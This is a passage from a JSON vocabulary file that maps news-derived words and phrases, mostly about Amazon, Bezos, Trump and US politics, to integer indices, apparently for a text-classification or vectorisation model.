32678,\n  \"multiple points\": 32679,\n  \"reuters mackenzie\": 32680,\n  \"bucking\": 32681,\n  \"tank ocasio\": 32682,\n  \"slot ahead\": 32683,\n  \"run market\": 32684,\n  \"enjoys great\": 32685,\n  \"whiner\": 32686,\n  \"care providers\": 32687,\n  \"dollars gianaris\": 32688,\n  \"connect identity\": 32689,\n  \"time wisely\": 32690,\n  \"ultimately force\": 32691,\n  \"lagarde\": 32692,\n  \"livingsocial\": 32693,\n  \"smoking\": 32694,\n  \"carolina lawyer\": 32695,\n  \"huge business\": 32696,\n  \"robyn moore\": 32697,\n  \"support special\": 32698,\n  \"year military\": 32699,\n  \"interpreting religious\": 32700,\n  \"nude model\": 32701,\n  \"771\": 32702,\n  \"law acting\": 32703,\n  \"abuse treatment\": 32704,\n  \"transphobic\": 32705,\n  \"hari sumpah\": 32706,\n  \"solicitation\": 32707,\n  \"hot meal\": 32708,\n  \"risk making\": 32709,\n  \"gnashing\": 32710,\n  \"moderate built\": 32711,\n  \"painting\": 32712,\n  \"violence bartiromo\": 32713,\n  \"quoted statement\": 32714,\n  \"stupid error\": 32715,\n  \"better conditions\": 32716,\n  \"intensifying consensys\": 32717,\n  \"cortez partly\": 32718,\n  \"avalanche\": 32719,\n  \"irrefutable\": 32720,\n  \"primarily equipment\": 32721,\n  \"cuseum\": 32722,\n  \"haptx diane\": 32723,\n  \"giant sends\": 32724,\n  \"companies troubled\": 32725,\n  \"journalist bob\": 32726,\n  \"delay paying\": 32727,\n  \"deal despite\": 32728,\n  \"people vulnerable\": 32729,\n  \"rates expected\": 32730,\n  \"amazon cbs\": 32731,\n  \"row earlier\": 32732,\n  \"318 billion\": 32733,\n  \"defineproperty r4ee\": 32734,\n  \"bookshelves filled\": 32735,\n  \"onewest mortgage\": 32736,\n  \"pedro\": 32737,\n  \"wage heres\": 32738,\n  \"vie pass\": 32739,\n  \"nutrition assistance\": 32740,\n  \"election pearl\": 32741,\n  \"disputed\": 32742,\n  \"alleges google\": 32743,\n  \"independent bookstore\": 32744,\n  \"wealth says\": 32745,\n  \"webdisplayname business\": 32746,\n  \"netflix algorithm\": 32747,\n  \"issued joint\": 32748,\n  \"exploiting labor\": 32749,\n  \"mixed feelings\": 32750,\n  \"legislation facebook\": 32751,\n  \"correctly execute\": 32752,\n  \"trending tweet\": 32753,\n  \"lucy hale\": 32754,\n  \"pieced\": 32755,\n  \"philip merrill\": 32756,\n  \"power according\": 32757,\n  \"money tech\": 32758,\n  \"firebrand political\": 32759,\n  \"tolls previously\": 32760,\n  \"enormously important\": 32761,\n  \"started formal\": 32762,\n  \"kindle device\": 32763,\n  \"pickers\": 32764,\n  \"trumps turned\": 32765,\n  \"199\": 32766,\n  \"new levies\": 32767,\n  \"newsmakers\": 32768,\n  \"thestreet oct\": 32769,\n  \"solovic\": 32770,\n  \"nominating board\": 32771,\n  \"children instead\": 32772,\n  \"advertisements constituted\": 32773,\n  \"including potential\": 32774,\n  \"wapo published\": 32775,\n  \"approach underscored\": 32776,\n  \"son look\": 32777,\n  \"355 million\": 32778,\n  \"trulia\": 32779,\n  \"bezos lit\": 32780,\n  \"visit letter\": 32781,\n  \"union took\": 32782,\n  \"terrible fix\": 32783,\n  \"980063581592047617\": 32784,\n  \"build second\": 32785,\n  \"josh constine\": 32786,\n  \"political systems\": 32787,\n  \"tweet violates\": 32788,\n  \"influence political\": 32789,\n  \"civil lawsuits\": 32790,\n  \"tax decrease\": 32791,\n  \"book promises\": 32792,\n  \"mentioned replying\": 32793,\n  \"cloud transformation\": 32794,\n  \"syria defense\": 32795,\n  \"true originalimageurl\": 32796,\n  \"amazon basics\": 32797,\n  \"holdings trump\": 32798,\n  \"president begin\": 32799,\n  \"paradigm changing\": 32800,\n  \"don worry\": 32801,\n  \"important amazon\": 32802,\n  \"associate encountered\": 32803,\n  \"commerce powerhouse\": 32804,\n  \"project struck\": 32805,\n  \"fueled\": 32806,\n  \"arms offer\": 32807,\n  \"agencies don\": 32808,\n  \"journalist jennifer\": 32809,\n  \"europe amazon\": 32810,\n  \"suffocating\": 32811,\n  \"adequate postal\": 32812,\n  \"arabia point\": 32813,\n  \"tunnel tolls\": 32814,\n  \"aggressive stance\": 32815,\n  \"press release\": 32816,\n  \"court online\": 32817,\n  \"sneaky ways\": 32818,\n  \"proceedings according\": 32819,\n  \"amazon passes\": 32820,\n  \"nasdaq adp\": 32821,\n  \"exchange kit\": 32822,\n  \"kondabolu\": 32823,\n  \"broken relationships\": 32824,\n  \"arranged\": 32825,\n  \"twitter complete\": 32826,\n  \"basic skills\": 32827,\n  \"noah emmerich\": 32828,\n  \"addo\": 32829,\n  \"yorkers protest\": 32830,\n  \"limbo big\": 32831,\n  \"broke story\": 32832,\n  \"helicopters\": 32833,\n  \"immigration crises\": 32834,\n  \"preemptive\": 32835,\n  \"right elites\": 32836,\n  \"armstrongabc11 status\": 32837,\n  \"regressive spokesman\": 32838,\n  \"increasingly big\": 32839,\n  \"prospect especially\": 32840,\n  \"unprecedented beauty\": 32841,\n  \"happen discussion\": 32842,\n  \"polar vortex\": 32843,\n  \"employers know\": 32844,\n  \"based\": 32845,\n  \"customers lives\": 32846,\n  \"aisle tabloid\": 32847,\n  \"sellers voice\": 32848,\n  \"200 sheets\": 32849,\n  \"public according\": 32850,\n  \"week highlights\": 32851,\n  \"levies imposed\": 32852,\n  \"people concern\": 32853,\n  \"trigger normal\": 32854,\n  \"future content\": 32855,\n  \"afternoon shirts\": 32856,\n  \"indolence\": 32857,\n  \"rule teasing\": 32858,\n  \"private charter\": 32859,\n  \"president theodore\": 32860,\n  \"powerful corporations\": 32861,\n  \"railway\": 32862,\n  \"42am\": 32863,\n  \"pressure read\": 32864,\n  \"verizon cable\": 32865,\n  \"leaf video_headline\": 32866,\n  \"otherwords org\": 32867,\n  \"antitrust experts\": 32868,\n  \"mind trump\": 32869,\n  \"insider ate\": 32870,\n  \"usatodaysports\": 32871,\n  \"amazon experience\": 32872,\n  \"knockout debut\": 32873,\n  \"larger fulfillment\": 32874,\n  \"risky behavior\": 32875,\n  \"years caption\": 32876,\n  \"understands newspapers\": 32877,\n  \"quite obvious\": 32878,\n  \"unfathomably rich\": 32879,\n  \"similarly rated\": 32880,\n  \"canada prime\": 32881,\n  \"marc eliot\": 32882,\n  \"house gathering\": 32883,\n  \"party audit\": 32884,\n  \"apparently busted\": 32885,\n  \"trucking startup\": 32886,\n  \"global tv\": 32887,\n  \"washington politicians\": 32888,\n  \"holiday sales\": 32889,\n  \"file gop\": 32890,\n  \"ghost town\": 32891,\n  \"company interests\": 32892,\n  \"quantifying\": 32893,\n  \"emanuel support\": 32894,\n  \"california republicans\": 32895,\n  \"finally released\": 32896,\n  \"valley workers\": 32897,\n  \"cigna acquisition\": 32898,\n  \"hostility\": 32899,\n  \"saying people\": 32900,\n  \"staffers scrambling\": 32901,\n  \"adding 500\": 32902,\n  \"ipo opening\": 32903,\n  \"possible shea\": 32904,\n  \"michelle jokes\": 32905,\n  \"ian wheat\": 32906,\n  \"extravagant kits\": 32907,\n  \"evangelist\": 32908,\n  \"called keyless\": 32909,\n  \"quarter total\": 32910,\n  \"candidate emerges\": 32911,\n  \"public trading\": 32912,\n  \"help china\": 32913,\n  \"identity opting\": 32914,\n  \"stock shares\": 32915,\n  \"ordinarily loathe\": 32916,\n  \"post comparing\": 32917,\n  \"ebook version\": 32918,\n  \"tabloid\": 32919,\n  \"financial svcs\": 32920,\n  \"forecasting monica\": 32921,\n  \"circles bezos\": 32922,\n  \"chairman powell\": 32923,\n  \"internet stacy\": 32924,\n  \"requiring localities\": 32925,\n  \"delayed\": 32926,\n  \"create wealth\": 32927,\n  \"hourly orange\": 32928,\n  \"journalist joshua\": 32929,\n  \"trumpish style\": 32930,\n  \"court despite\": 32931,\n  \"really enjoyed\": 32932,\n  \"gains longshot\": 32933,\n  \"howes\": 32934,\n  \"estate philanthropy\": 32935,\n  \"problems including\": 32936,\n  \"origin based\": 32937,\n  \"delinquency\": 32938,\n  \"fast forward\": 32939,\n  \"lehrer congestion\": 32940,\n  \"galls\": 32941,\n  \"used veterans\": 32942,\n  \"ice containing\": 32943,\n  \"000 opioid\": 32944,\n  \"metoo means\": 32945,\n  \"services highways\": 32946,\n  \"conduct amazon\": 32947,\n  \"avoided wages\": 32948,\n  \"cultural level\": 32949,\n  \"tmsnrt\": 32950,\n  \"city place\": 32951,\n  \"101st\": 32952,\n  \"carl bernstein\": 32953,\n  \"company rents\": 32954,\n  \"larcker director\": 32955,\n  \"bias chart\": 32956,\n  \"fox view\": 32957,\n  \"859\": 32958,\n  \"new android\": 32959,\n  \"trump carell\": 32960,\n  \"walled garden\": 32961,\n  \"worker testimonial\": 32962,\n  \"volunteers continue\": 32963,\n  \"region bezos\": 32964,\n  \"editing tool\": 32965,\n  \"quite healthy\": 32966,\n  \"palace daywear\": 32967,\n  \"issuing licenses\": 32968,\n  \"pioneering pre\": 32969,\n  \"skokie\": 32970,\n  \"banking sector\": 32971,\n  \"wallets financial\": 32972,\n  \"governance experts\": 32973,\n  \"snap food\": 32974,\n  \"education believing\": 32975,\n  \"alfiky\": 32976,\n  \"insurance bezos\": 32977,\n  \"ceo officially\": 32978,\n  \"stock basis\": 32979,\n  \"new focus\": 32980,\n  \"timed bathroom\": 32981,\n  \"law accruing\": 32982,\n  \"gains helped\": 32983,\n  \"mega billionaire\": 32984,\n  \"flier miles\": 32985,\n  \"amazonhttps\": 32986,\n  \"rivals\": 32987,\n  \"stay intact\": 32988,\n  \"12th straight\": 32989,\n  \"means vietnamese\": 32990,\n  \"baked\": 32991,\n  \"trump challenges\": 32992,\n  \"join created\": 32993,\n  \"crazytown don\": 32994,\n  \"outburst\": 32995,\n  \"robot called\": 32996,\n  \"speaking directly\": 32997,\n  \"thanksgiving greetings\": 32998,\n  \"bolsonaro met\": 32999,\n  \"growth fed\": 33000,\n  \"disclose sales\": 33001,\n  \"animal altogether\": 33002,\n  \"thriving global\": 33003,\n  \"seeks relief\": 33004,\n  \"government accountability\": 33005,\n  \"t\\u00e9a\": 33006,\n  \"southwest united\": 33007,\n  \"thailand austin\": 33008,\n  \"dillon\": 33009,\n  \"urging temporary\": 33010,\n  \"local economic\": 33011,\n  \"potentially huge\": 33012,\n  \"newly appointed\": 33013,\n  \"gaetz\": 33014,\n  \"analytical tool\": 33015,\n  \"looking better\": 33016,\n  \"escrow\": 33017,\n  \"amazon bullied\": 33018,\n  \"designs enterprise\": 33019,\n  \"completely ignored\": 33020,\n  \"var c5q\": 33021,\n  \"sanchez reportedly\": 33022,\n  \"vitalhub corp\": 33023,\n  \"dollar sky\": 33024,\n  \"alphabet amazon\": 33025,\n  \"database shows\": 33026,\n  \"collaboration\": 33027,\n  \"laws facebook\": 33028,\n  \"function gb\": 33029,\n  \"follows evelyn\": 33030,\n  \"warehouses areas\": 33031,\n  \"busting message\": 33032,\n  \"founder make\": 33033,\n  \"tech firms\": 33034,\n  \"gritty neighbourhood\": 33035,\n  \"longtime media\": 33036,\n  \"l9x r4ee\": 33037,\n  \"time disappoint\": 33038,\n  \"secretary mnuchin\": 33039,\n  \"introduced new\": 33040,\n  \"dynamic marketplace\": 33041,\n  \"d8 c2x\": 33042,\n  \"hortons launches\": 33043,\n  \"guerrilla movement\": 33044,\n  \"jr telling\": 33045,\n  \"stability looking\": 33046,\n  \"primary spherical\": 33047,\n  \"azure services\": 33048,\n  \"mail story\": 33049,\n  \"bracing\": 33050,\n  \"labels\": 33051,\n  \"balsam firs\": 33052,\n  \"secretary sarah\": 33053,\n  \"involved key\": 33054,\n  \"fined 5m\": 33055,\n  \"lawsuit won\": 33056,\n  \"ingraham angle\": 33057,\n  \"6000\": 33058,\n  \"chicagoland\": 33059,\n  \"night market\": 33060,\n  \"sen julia\": 33061,\n  \"cost hit\": 33062,\n  \"regional mayors\": 33063,\n  \"writes matt\": 33064,\n  \"cheektowaga\": 33065,\n  \"regional carrier\": 33066,\n  \"discussed including\": 33067,\n  \"presidential rant\": 33068,\n  \"uncovering cash\": 33069,\n  \"headlamp\": 33070,\n  \"company transportation\": 33071,\n  \"heard yanny\": 33072,\n  \"deal apparently\": 33073,\n  \"ratings points\": 33074,\n  \"thedc trump\": 33075,\n  \"special forces\": 33076,\n  \"industries\": 33077,\n  \"insider american\": 33078,\n  \"government awards\": 33079,\n  \"independent judiciary\": 33080,\n  \"offer commerce\": 33081,\n  \"coroner\": 33082,\n  \"residents refusal\": 33083,\n  \"wins adam\": 33084,\n  \"visited moscow\": 33085,\n  \"smears ami\": 33086,\n  \"rival sees\": 33087,\n  \"past natural\": 33088,\n  \"product promotions\": 33089,\n  \"trolls alike\": 33090,\n  \"twitter taylor\": 33091,\n  \"todd verhoeven\": 33092,\n  \"cash new\": 33093,\n  \"sam esmail\": 33094,\n  \"barb bichelmeyer\": 33095,\n  \"safety concerns\": 33096,\n  \"tohappen\": 33097,\n  \"itep wrote\": 33098,\n  \"richest people\": 33099,\n  \"seized control\": 33100,\n  \"leve\": 33101,\n  \"officially start\": 33102,\n  \"education efforts\": 33103,\n  \"chinese import\": 33104,\n  \"bell tonight\": 33105,\n  \"common definition\": 33106,\n  \"shares currently\": 33107,\n  \"redis labs\": 33108,\n  \"received audio\": 33109,\n  \"stance makes\": 33110,\n  \"recent creation\": 33111,\n  \"anti globalization\": 33112,\n  \"founding partner\": 33113,\n  \"representative amazon\": 33114,\n  \"people don\": 33115,\n  \"experts previously\": 33116,\n  \"centralized\": 33117,\n  \"companies dating\": 33118,\n  \"adherents\": 33119,\n  \"year ami\": 33120,\n  \"owner parent\": 33121,\n  \"remains neglected\": 33122,\n  \"imported cars\": 33123,\n  \"read ratings\": 33124,\n  \"opinion jeff\": 33125,\n  \"breaking pilot\": 33126,\n  \"feminist thriller\": 33127,\n  \"cnn descriptionplaintext\": 33128,\n  \"flashing bunch\": 33129,\n  \"felony\": 33130,\n  \"ferrari served\": 33131,\n  \"chairman treated\": 33132,\n  \"hands share\": 33133,\n  \"trump inside\": 33134,\n  \"thanks ken\": 33135,\n  \"hollywood treatment\": 33136,\n  \"seattle passed\": 33137,\n  \"stripes doing\": 33138,\n  \"2018 xiaomi\": 33139,\n  \"genuine antitrust\": 33140,\n  \"france conventions\": 33141,\n  \"match returning\": 33142,\n  \"arancha\": 33143,\n  \"probably topple\": 33144,\n  \"wing conspiracy\": 33145,\n  \"speaking english\": 33146,\n  \"share estimate\": 33147,\n  \"galvanized change\": 33148,\n  \"professor called\": 33149,\n  \"tuttle\": 33150,\n  \"feezt58pfz\": 33151,\n  \"paying large\": 33152,\n  \"low 2018\": 33153,\n  \"verde\": 33154,\n  \"ceo recalled\": 33155,\n  \"retailers pass\": 33156,\n  \"order mandating\": 33157,\n  \"indie folk\": 33158,\n  \"handbags watches\": 33159,\n  \"quotemeorelse\": 33160,\n  \"mail calls\": 33161,\n  \"portfolio names\": 33162,\n  \"essentially store\": 33163,\n  \"mergers\": 33164,\n  \"trumps genetalia\": 33165,\n  \"fiddle status\": 33166,\n  \"blackkklansman cast\": 33167,\n  \"cash held\": 33168,\n  \"screaming voter\": 33169,\n  \"expected settlement\": 33170,\n  \"falsely believe\": 33171,\n  \"tsxv tgv\": 33172,\n  \"accomplice jack\": 33173,\n  \"real problems\": 33174,\n  \"building bigger\": 33175,\n  \"fairly obvious\": 33176,\n  \"decision applies\": 33177,\n  \"bezos point\": 33178,\n  \"recross\": 33179,\n  \"middle\": 33180,\n  \"conservatives learned\": 33181,\n  \"thomas novel\": 33182,\n  \"jin\": 33183,\n  \"values based\": 33184,\n  \"intel specific\": 33185,\n  \"force attempted\": 33186,\n  \"cripple\": 33187,\n  \"life actually\": 33188,\n  \"corker\": 33189,\n  \"roger goodell\": 33190,\n  \"immunizations\": 33191,\n  \"topping million\": 33192,\n  \"mobiles\": 33193,\n  \"life shooting\": 33194,\n  \"occupies rarified\": 33195,\n  \"pushes shares\": 33196,\n  \"soft spot\": 33197,\n  \"environmental policy\": 33198,\n  \"course vaping\": 33199,\n  \"red hats\": 33200,\n  \"places katera\": 33201,\n  \"data record\": 33202,\n  \"mobile channel\": 33203,\n  \"mma sinisterlab\": 33204,\n  \"microsoft overtook\": 33205,\n  \"ht digital\": 33206,\n  \"respective\": 33207,\n  \"wrotea\": 33208,\n  \"million amid\": 33209,\n  \"market ex\": 33210,\n  \"stoneman douglas\": 33211,\n  \"simpson\": 33212,\n  \"offers backstory\": 33213,\n  \"making 150\": 33214,\n  \"118\": 33215,\n  \"angeles aug\": 33216,\n  \"major prize\": 33217,\n  \"provides messaging\": 33218,\n  \"carries ivanka\": 33219,\n  \"obama described\": 33220,\n  \"1994 ceo\": 33221,\n  \"appetite\": 33222,\n  \"maybe blue\": 33223,\n  \"year according\": 33224,\n  \"tragic\": 33225,\n  \"digital platforms\": 33226,\n  \"donnelly enjoyed\": 33227,\n  \"brexit issue\": 33228,\n  \"concrete concessions\": 33229,\n  \"gaspard\": 33230,\n  \"day fox\": 33231,\n  \"matt sooter\": 33232,\n  \"adsense billion\": 33233,\n  \"country marking\": 33234,\n  \"coast stocks\": 33235,\n  \"deal breaking\": 33236,\n  \"publicly traded\": 33237,\n  \"new fed\": 33238,\n  \"stake los\": 33239,\n  \"congress antitrust\": 33240,\n  \"sgoing\": 33241,\n  \"wages terrific\": 33242,\n  \"fubotv\": 33243,\n  \"hp_lead_pos1\": 33244,\n  \"startup sales\": 33245,\n  \"calling perceived\": 33246,\n  \"tax documents\": 33247,\n  \"great thing\": 33248,\n  \"persecution complex\": 33249,\n  \"safe place\": 33250,\n  \"connector bridge\": 33251,\n  \"allegedly refuses\": 33252,\n  \"manafort twitter\": 33253,\n  \"don look\": 33254,\n  \"usurp congressional\": 33255,\n  \"shipka sally\": 33256,\n  \"camera movements\": 33257,\n  \"tax expert\": 33258,\n  \"briefs mark\": 33259,\n  \"news possibly\": 33260,\n  \"commercial links\": 33261,\n  \"curbing silicon\": 33262,\n  \"governors\": 33263,\n  \"doctors potentially\": 33264,\n  \"agreement granting\": 33265,\n  \"ecommerce actually\": 33266,\n  \"daniel goodman\": 33267,\n  \"cuts fourth\": 33268,\n  \"held discussions\": 33269,\n  \"facebook want\": 33270,\n  \"libya\": 33271,\n  \"marty singer\": 33272,\n  \"local tribe\": 33273,\n  \"stock chart\": 33274,\n  \"branding expert\": 33275,\n  \"p7a b7a\": 33276,\n  \"box rates\": 33277,\n  \"potential ties\": 33278,\n  \"observed\": 33279,\n  \"ago ap\": 33280,\n  \"2020 trump\": 33281,\n  \"businesses hmd\": 33282,\n  \"shooting deaths\": 33283,\n  \"political forces\": 33284,\n  \"multiple channels\": 33285,\n  \"backed subscription\": 33286,\n  \"elements photo\": 33287,\n  \"bendib illustrates\": 33288,\n  \"beau\": 33289,\n  \"ban men\": 33290,\n  \"ice help\": 33291,\n  \"showing little\": 33292,\n  \"susan cain\": 33293,\n  \"neighbors\": 33294,\n  \"buses\": 33295,\n  \"kelly chief\": 33296,\n  \"processed 3647\": 33297,\n  \"enlarged subsidies\": 33298,\n  \"allegedly working\": 33299,\n  \"borrow funds\": 33300,\n  \"stronger presence\": 33301,\n  \"allen unreleased\": 33302,\n  \"cap amazon\": 33303,\n  \"story regarding\": 33304,\n  \"trump threatens\": 33305,\n  \"stocks marijuana\": 33306,\n  \"2015 announced\": 33307,\n  \"just picked\": 33308,\n  \"suspended credentials\": 33309,\n  \"trivial\": 33310,\n  \"democracy democracy\": 33311,\n  \"regional\": 33312,\n  \"started spreading\": 33313,\n  \"koch\": 33314,\n  \"large legal\": 33315,\n  \"luntz fareed\": 33316,\n  \"business discounts\": 33317,\n  \"watch chip\": 33318,\n  \"sanchez claimed\": 33319,\n  \"renewed concerns\": 33320,\n  \"shame tracey\": 33321,\n  \"raw deal\": 33322,\n  \"wasn russians\": 33323,\n  \"nbc universal\": 33324,\n  \"multiple reporters\": 33325,\n  \"recent behavior\": 33326,\n  \"casey gerald\": 33327,\n  \"college weighs\": 33328,\n  \"brian ossenbeck\": 33329,\n  \"putting close\": 33330,\n  \"ook op\": 33331,\n  \"won comment\": 33332,\n  \"departures flotus\": 33333,\n  \"artless\": 33334,\n  \"conservation amazon\": 33335,\n  \"digital experiences\": 33336,\n  \"uproar\": 33337,\n  \"inane\": 33338,\n  \"google specifically\": 33339,\n  \"harris 2020\": 33340,\n  \"solyndra\": 33341,\n  \"purchased online\": 33342,\n  \"johnson thinks\": 33343,\n  \"prices 2018\": 33344,\n  \"bloomberg president\": 33345,\n  \"absence left\": 33346,\n  \"creative cartography\": 33347,\n  \"sierra leone\": 33348,\n  \"general matthew\": 33349,\n  \"fanh complied\": 33350,\n  \"pacific mumbai\": 33351,\n  \"dealbook briefing\": 33352,\n  \"marketwatch critical\": 33353,\n  \"commerce platforms\": 33354,\n  \"luxurious love\": 33355,\n  \"condemns devos\": 33356,\n  \"did note\": 33357,\n  \"determined\": 33358,\n  \"jen sincero\": 33359,\n  \"lady interview\": 33360,\n  \"arden quite\": 33361,\n  \"opened private\": 33362,\n  \"anthony adragna\": 33363,\n  \"evaluation\": 33364,\n  \"talks money\": 33365,\n  \"extremely nervous\": 33366,\n  \"bush met\": 33367,\n  \"counterclaim challenging\": 33368,\n  \"spy tariff\": 33369,\n  \"year ended\": 33370,\n  \"cond\\u00e9\": 33371,\n  \"reversed course\": 33372,\n  \"conducted independent\": 33373,\n  \"a7\": 33374,\n  \"pearl harbor\": 33375,\n  \"pled\": 33376,\n  \"obviously amazon\": 33377,\n  \"led congress\": 33378,\n  \"sock firm\": 33379,\n  \"rielly noted\": 33380,\n  \"yields new\": 33381,\n  \"mgmt accumulated\": 33382,\n  \"contracts\": 33383,\n  \"stanley equity\": 33384,\n  \"miracle berkshire\": 33385,\n  \"europe reason\": 33386,\n  \"godwin\": 33387,\n  \"gif\": 33388,\n  \"julia sommerfeld\": 33389,\n  \"rumored tent\": 33390,\n  \"deservedly\": 33391,\n  \"mitchell noted\": 33392,\n  \"york daily\": 33393,\n  \"inbound\": 33394,\n  \"agency director\": 33395,\n  \"aiken huffpost\": 33396,\n  \"years unheard\": 33397,\n  \"incident michael\": 33398,\n  \"just broke\": 33399,\n  \"nation values\": 33400,\n  \"corporates continue\": 33401,\n  \"food safety\": 33402,\n  \"new home\": 33403,\n  \"bellow love\": 33404,\n  \"companies alphabet\": 33405,\n  \"taxes nationwide\": 33406,\n  \"expressed strong\": 33407,\n  \"economist says\": 33408,\n  \"states karen\": 33409,\n  \"hands dirty\": 33410,\n  \"key reason\": 33411,\n  \"judicialwatch\": 33412,\n  \"deleo told\": 33413,\n  \"plans amazon\": 33414,\n  \"father scrambling\": 33415,\n  \"causing tremendous\": 33416,\n  \"market holding\": 33417,\n  \"memorable music\": 33418,\n  \"backwoods\": 33419,\n  \"earnings investors\": 33420,\n  \"blackface halloween\": 33421,\n  \"vn 170\": 33422,\n  \"conversations inside\": 33423,\n  \"cover orange\": 33424,\n  \"world faces\": 33425,\n  \"rich girl\": 33426,\n  \"arnault\": 33427,\n  \"nrf president\": 33428,\n  \"unresolved\": 33429,\n  \"column colonial\": 33430,\n  \"general category\": 33431,\n  \"transgender equality\": 33432,\n  \"recruit extra\": 33433,\n  \"moneys\": 33434,\n  \"economic council\": 33435,\n  \"jonah hill\": 33436,\n  \"helped quell\": 33437,\n  \"washington amazon\": 33438,\n  \"natives\": 33439,\n  \"sanders getty\": 33440,\n  \"cancelled\": 33441,\n  \"philippe\": 33442,\n  \"college students\": 33443,\n  \"nyse dfs\": 33444,\n  \"ron kim\": 33445,\n  \"speaker corey\": 33446,\n  \"formalization\": 33447,\n  \"america postal\": 33448,\n  \"team player\": 33449,\n  \"wegmann good\": 33450,\n  \"summer doldrums\": 33451,\n  \"google issued\": 33452,\n  \"possibly damaging\": 33453,\n  \"siddiqui likewise\": 33454,\n  \"cap invest\": 33455,\n  \"forever stamp\": 33456,\n  \"kernen reports\": 33457,\n  \"investigate bad\": 33458,\n  \"experts looking\": 33459,\n  \"school killing\": 33460,\n  \"kids need\": 33461,\n  \"twitter feldmaniac\": 33462,\n  \"74m shares\": 33463,\n  \"2017 thousands\": 33464,\n  \"comments deborah\": 33465,\n  \"hoffa\": 33466,\n  \"crossover votes\": 33467,\n  \"shoppers believed\": 33468,\n  \"topass\": 33469,\n  \"demand\": 33470,\n  \"declared sexually\": 33471,\n  \"increasingly focusing\": 33472,\n  \"stock repurchases\": 33473,\n  \"psa think\": 33474,\n  \"things experts\": 33475,\n  \"recommendation\": 33476,\n  \"president hates\": 33477,\n  \"proposed ban\": 33478,\n  \"comfortable feeling\": 33479,\n  \"read tim\": 33480,\n  \"sheriff department\": 33481,\n  \"largest soy\": 33482,\n  \"immediately clear\": 33483,\n  \"computer banks\": 33484,\n  \"added mandates\": 33485,\n  \"politician political\": 33486,\n  \"mexican table\": 33487,\n  \"nvidia shared\": 33488,\n  \"times union\": 33489,\n  \"severe early\": 33490,\n  \"typically used\": 33491,\n  \"yesterday actually\": 33492,\n  \"company ran\": 33493,\n  \"process saying\": 33494,\n  \"fewer steps\": 33495,\n  \"democrats growing\": 33496,\n  \"moderate income\": 33497,\n  \"unjust ways\": 33498,\n  \"washington autoplay\": 33499,\n  \"wide vote\": 33500,\n  \"pits junta\": 33501,\n  \"amazon pharmacy\": 33502,\n  \"refunds fall\": 33503,\n  \"pasta pane\": 33504,\n  \"fine performance\": 33505,\n  \"crimes need\": 33506,\n  \"hernandez\": 33507,\n  \"ailing oil\": 33508,\n  \"f\\u00e1bio\": 33509,\n  \"fascinating question\": 33510,\n  \"tax giveaways\": 33511,\n  \"generate\": 33512,\n  \"idea simply\": 33513,\n  \"principles montessori\": 33514,\n  \"000 rooms\": 33515,\n  \"house candidates\": 33516,\n  \"dollar company\": 33517,\n  \"lombardi trophy\": 33518,\n  \"cortez marketwatch\": 33519,\n  \"related websites\": 33520,\n  \"shied\": 33521,\n  \"booksbyevelyn\": 33522,\n  \"vicki christiansen\": 33523,\n  \"979\": 33524,\n  \"headsto\": 33525,\n  \"central 1p\": 33526,\n  \"enacted tax\": 33527,\n  \"bojan pancevski\": 33528,\n  \"hailing\": 33529,\n  \"billionaire uses\": 33530,\n  \"backroom\": 33531,\n  \"privacy act\": 33532,\n  \"gleefully quipped\": 33533,\n  \"creates massive\": 33534,\n  \"controversial companies\": 33535,\n  \"lengthy article\": 33536,\n  \"000 facebook\": 33537,\n  \"true autostartvideo\": 33538,\n  \"day tips\": 33539,\n  \"turk kurd\": 33540,\n  \"wh press\": 33541,\n  \"associates tops\": 33542,\n  \"higher fcau\": 33543,\n  \"trial france\": 33544,\n  \"markupid cnn\": 33545,\n  \"coyo taco\": 33546,\n  \"bolduan cnn\": 33547,\n  \"racists\": 33548,\n  \"mccabe mccabe\": 33549,\n  \"house gary\": 33550,\n  \"traister delineates\": 33551,\n  \"flickr\": 33552,\n  \"nigerian\": 33553,\n  \"nbc remember\": 33554,\n  \"cartoon\": 33555,\n  \"successive gop\": 33556,\n  \"russian hackers\": 33557,\n  \"photo hans\": 33558,\n  \"textron\": 33559,\n  \"deduction amazon\": 33560,\n  \"presidency accurately\": 33561,\n  \"earnings news\": 33562,\n  \"registering\": 33563,\n  \"king super\": 33564,\n  \"community surrounding\": 33565,\n  \"person pledged\": 33566,\n  \"acquires pillpack\": 33567,\n  \"correctly congestion\": 33568,\n  \"danny\": 33569,\n  \"chinese tariffs\": 33570,\n  \"tiananmen square\": 33571,\n  \"toxic air\": 33572,\n  \"destroy bezos\": 33573,\n  \"pass budget\": 33574,\n  \"contributing writer\": 33575,\n  \"thematic\": 33576,\n  \"google facebook\": 33577,\n  \"large pieces\": 33578,\n  \"moving slowly\": 33579,\n  \"beach county\": 33580,\n  \"respondents\": 33581,\n  \"speedometer\": 33582,\n  \"wasn immune\": 33583,\n  \"process overriding\": 33584,\n  \"nextvideoid\": 33585,\n  \"store promotions\": 33586,\n  \"rant throwaway\": 33587,\n  \"tax big\": 33588,\n  \"pointy headed\": 33589,\n  \"earliest twitter\": 33590,\n  \"including sheriff\": 33591,\n  \"9002\": 33592,\n  \"maker stock\": 33593,\n  \"billion analysts\": 33594,\n  \"negative remarks\": 33595,\n  \"intersex people\": 33596,\n  \"militia\": 33597,\n  \"data showing\": 33598,\n  \"suit charges\": 33599,\n  \"guests attend\": 33600,\n  \"company wasn\": 33601,\n  \"chhay\": 33602,\n  \"old universal\": 33603,\n  \"fancy washington\": 33604,\n  \"handling nuclear\": 33605,\n  \"finalists according\": 33606,\n  \"suburban maryland\": 33607,\n  \"parties involved\": 33608,\n  \"arsht joe\": 33609,\n  \"inbox president\": 33610,\n  \"401 millionaire\": 33611,\n  \"intel semiconductors\": 33612,\n  \"enemy induced\": 33613,\n  \"model breastfeeding\": 33614,\n  \"usps financials\": 33615,\n  \"comment won\": 33616,\n  \"post wwii\": 33617,\n  \"term partner\": 33618,\n  \"telling indicator\": 33619,\n  \"deserve ask\": 33620,\n  \"dollars despite\": 33621,\n  \"city jonathan\": 33622,\n  \"overly 04m\": 33623,\n  \"plata\": 33624,\n  \"christopher bing\": 33625,\n  \"safer chemicals\": 33626,\n  \"samantha masunaga\": 33627,\n  \"rainforest wildlife\": 33628,\n  \"mounting woes\": 33629,\n  \"senators away\": 33630,\n  \"postage shipped\": 33631,\n  \"season women\": 33632,\n  \"morning think\": 33633,\n  \"time want\": 33634,\n  \"drone patents\": 33635,\n  \"immigration company\": 33636,\n  \"nafta agreement\": 33637,\n  \"office looks\": 33638,\n  \"probe nonetheless\": 33639,\n  \"dolphins\": 33640,\n  \"blaming state\": 33641,\n  \"surround\": 33642,\n  \"company easily\": 33643,\n  \"president repeated\": 33644,\n  \"haven heard\": 33645,\n  \"clinton check\": 33646,\n  \"quality 